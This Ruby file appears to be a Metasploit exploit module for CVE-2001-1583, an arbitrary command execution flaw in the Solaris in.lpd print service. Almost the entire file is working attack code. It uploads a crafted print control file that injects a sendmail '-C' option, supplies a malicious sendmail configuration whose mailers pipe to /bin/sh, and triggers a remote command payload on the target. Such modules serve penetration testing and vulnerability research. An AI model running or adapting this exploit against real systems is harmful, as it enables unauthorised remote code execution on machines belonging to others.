##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Solaris LPD Command Execution',
      'Description'    => %q{
        This module exploits an arbitrary command execution flaw in
        the in.lpd service shipped with all versions of Sun Solaris
        up to and including 8.0. This module uses a technique
        discovered by Dino Dai Zovi to exploit the flaw without
        needing to know the resolved name of the attacking system.
          
      },
      'Author'         => [ 'hdm', 'ddz' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          [ 'CVE', '2001-1583'],
          [ 'OSVDB', '15131'],
          [ 'BID', '3274'],

        ],
      'Platform'       => ['unix', 'solaris'],
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'       => 8192,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl telnet',
            }
        },  
      'Targets'        => 
        [
          [ 'Automatic Target', { }]
        ],
      'DisclosureDate' => 'Aug 31 2001',
      'DefaultTarget' => 0))
      
      register_options(
        [
          Opt::RPORT(515)
        ], self.class)
  end

  def exploit

    # This is the temporary path created in the spool directory
    spath = "/var/spool/print"
    
    # The job ID is squashed down to three decimal digits
    jid   = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]

    # The control file
    control =
      "H"+"metasploit\n"+
      "P"+"\\\"-C"+spath+"/"+jid+"mail.cf\\\" nobody\n"+
      "f"+"dfA"+jid+"config\n"+
      "f"+"dfA"+jid+"script\n"
        

    # The mail configuration file
    mailcf =
      "V8\n"+
      "\n"+
      "Ou0\n"+
      "Og0\n"+
      "OL0\n"+
      "Oeq\n"+
      "OQX/tmp\n"+
      "\n"+
      "FX|/bin/sh #{spath}/#{jid}script\n"+
      "\n"+
      "S3\n"+
      "S0\n"+
      "R\+     #local \\@blah :blah\n"+
      "S1\n"+
      "S2\n"+
      "S4\n"+
      "S5\n"+
      "\n"+
      "Mlocal  P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n"+
      "Mprog   P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n"
      
    # Establish the first connection to the server
    sock1 = connect(false)
    
    # Request a cascaded job
    sock1.put("\x02metasploit:framework\n")
    res = sock1.get_once
    if (not res)
      print_status("The target did not accept our job request command")
      return
    end
    
    print_status("Configuring the spool directory...")
    if !(
      send_file(sock1, 2, "cfA" + jid + "metasploit", control) and
      send_file(sock1, 3, jid + "mail.cf", mailcf) and
      send_file(sock1, 3, jid + "script", payload.encoded)
       )
         sock1.close
      return
    end
      
    # Establish the second connection to the server
    sock2 = connect(false)
    
    # Request another cascaded job
    sock2.put("\x02localhost:metasploit\n")
    res = sock2.get_once
    if (not res)
      print_status("The target did not accept our second job request command")
      return
    end    
    
    print_status("Triggering the vulnerable call to the mail program...")
    if !(
      send_file(sock2, 2, "cfA" + jid + "metasploit", control) and
      send_file(sock2, 3, "dfa" + jid + "config", mailcf)
       )
         sock1.close
      sock2.close
      return
    end    
  
    sock1.close
    sock2.close
      
    print_status("Waiting up to 60 seconds for the payload to execute...")
    sleep(60)
    
    handler
  end

  def send_file(s, type, name, data='')
    
    s.put(type.chr + data.length.to_s + " " + name + "\n")
    res = s.get_once(1)
    if !(res and res[0] == ?\0)
      print_status("The target did not accept our control file command (#{name})")
      return
    end
    
    s.put(data)
    s.put("\x00")
    res = s.get_once(1)
    if !(res and res[0] == ?\0)
      print_status("The target did not accept our control file data (#{name})")
      return
    end  
    
    print_status(sprintf("     Uploaded %.4d bytes >> #{name}", data.length))
    return true
  end

end